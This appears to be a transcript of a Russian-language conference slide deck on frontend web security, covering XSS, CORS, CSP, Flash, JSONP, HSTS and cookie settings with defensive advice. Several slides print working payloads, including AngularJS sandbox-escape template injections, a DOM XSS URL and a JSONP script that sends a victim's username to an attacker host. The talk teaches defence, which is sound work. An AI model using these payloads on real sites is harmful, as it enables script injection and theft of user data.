(Не)безопасный frontend

59
(Не)безопасный frontend Сергей Белов аудитор ИБ Digital Security

Upload: sergey-belov

Post on 21-Aug-2015

30.423 views

Category:

Technology


3 download

TRANSCRIPT

(Не)безопасный frontend

Сергей Белов аудитор ИБ Digital Security

# whoami

© 2002—2015, Digital Security 2

(Не)безопасный frontend

Work/Activity BugHuting Speaker

О чём разговор?

© 2002—2015, Digital Security 3

(Не)безопасный frontend

SOP Same Origin Policy

scheme://domain:port + усиление безопасности

Межсайтовый скриптинг

© 2002—2015, Digital Security 4

(Не)безопасный frontend

Межсайтовый скриптинг

Межсайтовый скриптинг

© 2002—2015, Digital Security 5

(Не)безопасный frontend

Межсайтовый скриптинг (XSS) Хранимые (server side) Отраженные (server side) DOM (client side!)

Межсайтовый скриптинг

© 2002—2015, Digital Security 6

(Не)безопасный frontend

document.write("Site is at: " + document.location.href);

http://victim.com/action#<script>alert('xss')</script>

Межсайтовый скриптинг

© 2002—2015, Digital Security 7

(Не)безопасный frontend

Sources document.URL location document.referrer window.name localStorage cookies …

Межсайтовый скриптинг

© 2002—2015, Digital Security 8

(Не)безопасный frontend

Sinks eval document.write (element).innerHTML (element).src setTimeout / setInterval execScript …

https://code.google.com/p/domxsswiki/ http://habrahabr.ru/company/xakep/blog/189210/

Межсайтовый скриптинг

© 2002—2015, Digital Security 9

(Не)безопасный frontend

Утечки информации

© 2002—2015, Digital Security 10

(Не)безопасный frontend

Утечки информации

© 2002—2015, Digital Security 11

(Не)безопасный frontend

testServer = host.match(/[^.]+\.((?:f|my\.XXX)\d*)\.YYY\.ru/)

devServer = host.match(/^.+\.dev\.YYY\.ru$/),

isXXX = testServer && testServer[1].indexOf('my.XXX') == 0,

...

internalDevHOST = '172.16.22.2';

internalProdHOST = '172.16.22.5';

...

file\:\/\/\/applications\/releases\...\/sidebar\.scss

Утечки информации

MVC фреймворки

© 2002—2015, Digital Security 12

(Не)безопасный frontend

MVC фреймворки

MVC фреймворки

© 2002—2015, Digital Security 13

(Не)безопасный frontend

MVC фреймворки

© 2002—2015, Digital Security 14

(Не)безопасный frontend

Фреймворки помогают расширить работу с DOM - Шаблонизаторы - Новые элементы <rockyou></rockyou> - Биндинги

MVC фреймворки

© 2002—2015, Digital Security 15

(Не)безопасный frontend

Logic-less templates <ul>

<li ng-repeat="phone in phones">

<span>{{phone.name}}</span>

<p>{{phone.snippet}}</p>

</li>

</ul>

MVC фреймворки

© 2002—2015, Digital Security 16

(Не)безопасный frontend

Фигурные скобки <ul>

<li ng-repeat="phone in phones">

<span>{{phone.name}}</span>

<p>{{phone.snippet}}</p>

</li>

</ul>

MVC фреймворки

© 2002—2015, Digital Security 17

(Не)безопасный frontend

Logic-less templates.

http://mustache.github.io/

JSMVC фреймворки

© 2002—2015, Digital Security 18

(Не)безопасный frontend

MVC фреймворки

© 2002—2015, Digital Security 19

(Не)безопасный frontend

•VueJS •AngularJS •CanJS •Underscore.js •KnockoutJS •Ember.js

•Polymer •Ractive.js •jQuery •JsRender •Kendo UI

Mustache Security

https://code.google.com/p/mustache-security/

MVC фреймворки

© 2002—2015, Digital Security 20

(Не)безопасный frontend

Mustache Security AngularJS (1.1.5) – Межсайтовый скриптинг <div class="ng-app">

{{constructor.constructor('alert(1)')()}}

</div>

MVC фреймворки

© 2002—2015, Digital Security 21

(Не)безопасный frontend

Mustache Security AngularJS (1.2.18) – Межсайтовый скриптинг, после фиксов {{

(_=''.sub).call.call({}[$='constructor']

.getOwnPropertyDescriptor(_.__proto__,$)

.value,0,'alert(1)')()

}}

MVC фреймворки

© 2002—2015, Digital Security 22

(Не)безопасный frontend

Обновление фрейморков важно для безопасности!

Cookies

© 2002—2015, Digital Security 23

(Не)безопасный frontend

Cookies

Cookies

© 2002—2015, Digital Security 24

(Не)безопасный frontend

Обычно <?php

setcookie('foo','bar1'); ?>

import Cookie

C = Cookie.SimpleCookie()

C["foo"] = "bar"

print C

Set-Cookie: foo=bar

Cookies

© 2002—2015, Digital Security 25

(Не)безопасный frontend

Правильно: 1) Указывать домен для установки cookies 2) HttpOnly для сессионных значений (phpsessid…) 3) Secure в случае “HTTPS only”

Переход на HTTPS

© 2002—2015, Digital Security 26

(Не)безопасный frontend

Переход на HTTPS

Переход на HTTPS

© 2002—2015, Digital Security 27

(Не)безопасный frontend

Server side: • Выбор сертификата • Настройка вебсервера (ciphersuite и т.п.) • Перенаправление

Переход на HTTPS

© 2002—2015, Digital Security 28

(Не)безопасный frontend

Client side • Запрещаем заходить по HTTP – HSTS Strict-Transport-Security: max-age=31536000;

• Добавляем свой ресурс в HSTS preload list http://www.chromium.org/hsts

Безопасность HTML5

© 2002—2015, Digital Security 29

(Не)безопасный frontend

Безопасность HTML5

Безопасность HTML5

© 2002—2015, Digital Security 30

(Не)безопасный frontend

otherWindow.postMessage(message, targetOrigin);

Window.postMessage()

window.addEventListener("message", receiveMessage, false);

function receiveMessage(event)

{

if (event.origin !== "http://example.org:8080")

return;

// ...

}

Домен A

Домен B

Безопасность HTML5

© 2002—2015, Digital Security 31

(Не)безопасный frontend

Window.postMessage()

if(message.orgin.indexOf(".example.com")!=-1)

{

/* ... */

}

Неправильно!

example.com.attacker.com

Безопасность HTML5

© 2002—2015, Digital Security 32

(Не)безопасный frontend

HTTP access control (CORS)

1) Модно 2) Безопасно 3) Накосячить очень сложно

Безопасность HTML5

© 2002—2015, Digital Security 33

(Не)безопасный frontend

Cross-origin resource sharing (CORS)

В ответе веб-сервера: Access-Control-Allow-Origin: *

Означает отдавать контент всем

Безопасность HTML5

© 2002—2015, Digital Security 34

(Не)безопасный frontend

Cross-origin resource sharing (CORS) В ответе веб-сервера: Access-Control-Allow-Origin: *

Означает отдавать контент всем Но это правило несовместимо с заголовком Access-Control-Allow-Credentials: true

Безопасность HTML5

© 2002—2015, Digital Security 35

(Не)безопасный frontend

Web Sockets

1) Нет авторизации 2) WSS:// для важных данных 3) Валидацию никто не отменял (сервер/клиент) 4) Проверка Origin (не отменяет п. 1) 5) …

https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

Безопасность HTML5

© 2002—2015, Digital Security 36

(Не)безопасный frontend

Content Security Policy

Указывает браузеру доверенные домены для различных ресурсов (картинки, js, css...)

X-Content-Security-Policy: script-src js.example.com

Безопасность HTML5

© 2002—2015, Digital Security 37

(Не)безопасный frontend

Безопасность HTML5

© 2002—2015, Digital Security 38

(Не)безопасный frontend

Обход 1) Возможность загружать файлы на разрешенные

домены в CSP (приложения в почте, сообщениях) 2) Загрузить js файл и подключить

Flash

© 2002—2015, Digital Security 39

(Не)безопасный frontend

Flash

Flash

© 2002—2015, Digital Security 40

(Не)безопасный frontend

Магический crossdomain.xml

Самый частый случай

Flash

© 2002—2015, Digital Security 41

(Не)безопасный frontend

Магический crossdomain.xml

Чуть реже • Множество доменов, в т.ч. от старых названий и проектов (wamba.com bugbounty – 3000 рублей) • Разрешены домены для приложений из соц. сетей

Flash

© 2002—2015, Digital Security 42

(Не)безопасный frontend

XSS через Flash - пример с getURL

Уязвимый код getURL(_root.URI,'_targetFrame');

Пример эксплуатации http://victim/file.swf?URI=javascript:evilcode

getURL('javascript:evilcode','_self');

Больше про Cross Site Flashing на OWASP

Flash

© 2002—2015, Digital Security 43

(Не)безопасный frontend

CVE-2011-2461 IS BACK!

1) SWF должен быть собран с уязвимой версией Adobe Flex 2) Дает полный обход SOP

Flash

© 2002—2015, Digital Security 44

(Не)безопасный frontend

CVE-2011-2461 IS BACK!

Для проверки можно использовать ParrotNG https://github.com/ikkisoft/ParrotNG/

java -jar parrotng_v0.2.jar <SWF File | Directory>

Больше информации • http://blog.nibblesec.org/2015/03/the-old-is-new-again-cve-2011-2461-is.html • http://www.slideshare.net/ikkisoft/the-old-is-new-again-cve20112461-is-back

Раскрытие информации через JSONP

© 2002—2015, Digital Security 45

(Не)безопасный frontend

Раскрытие информации через JSONP

Раскрытие информации через JSONP

© 2002—2015, Digital Security 46

(Не)безопасный frontend

JSONP leaks

© 2002—2015, Digital Security 47

(Не)безопасный frontend

JSONP leaks

© 2002—2015, Digital Security 48

(Не)безопасный frontend

http://habrahabr.ru/post/186160/

<script>

function func(obj) {

var url = "http://hacker.com/log?val="+obj['username'];

$.get(url);

}

</script>

<script src="http://victim.com/api/getUserInfo?callback=func">

</script>

X-Frame-Options

© 2002—2015, Digital Security 49

(Не)безопасный frontend

X-Frame-Options

X-Frame-Options

© 2002—2015, Digital Security 50

(Не)безопасный frontend

X-Frame-Options в ответе веб-сервера позволяет 1) Полностью запретить показ страницы во фрейме 2) Частично запретить (например, разрешить только

для того же origin)

X-Frame-Options

© 2002—2015, Digital Security 51

(Не)безопасный frontend

Extensions / SmartTV

© 2002—2015, Digital Security 52

(Не)безопасный frontend

Extensions / SmartTV

Extensions / SmartTV

© 2002—2015, Digital Security 53

(Не)безопасный frontend

Расширения для браузера? -JS/HTML/CSS - Взаимодействие с DOM - Неограниченные XHR запросы - Расширенное API

Приложения для SmartTV – тоже самое.

Extensions / SmartTV

© 2002—2015, Digital Security 54

(Не)безопасный frontend

Extensions / SmartTV

© 2002—2015, Digital Security 55

(Не)безопасный frontend

Видео

© 2002—2015, Digital Security 56

(Не)безопасный frontend

На десерт

© 2002—2015, Digital Security 57

(Не)безопасный frontend

<a href=“http://external.com”>Go!</a>

В заголовках будет Referer: http://yoursite.com/ А что в случае с изображениями, стилями, JS файлами?

© 2002—2015, Digital Security 58

(Не)безопасный frontend

http://super-website.com/user/passRecovery?t=SECRET ...

<img src=http://comics.com/password.jpg>

... Владелец

comics.com Знает все секретные токены (для сброса пароля!)

twitter.com/sergeybelove

[email protected]

© 2002—2015, Digital Security

Digital Security в Москве: (495) 223-07-86

Digital Security в Санкт-Петербурге: (812) 703-15-47

59

Тестируйте безопасность!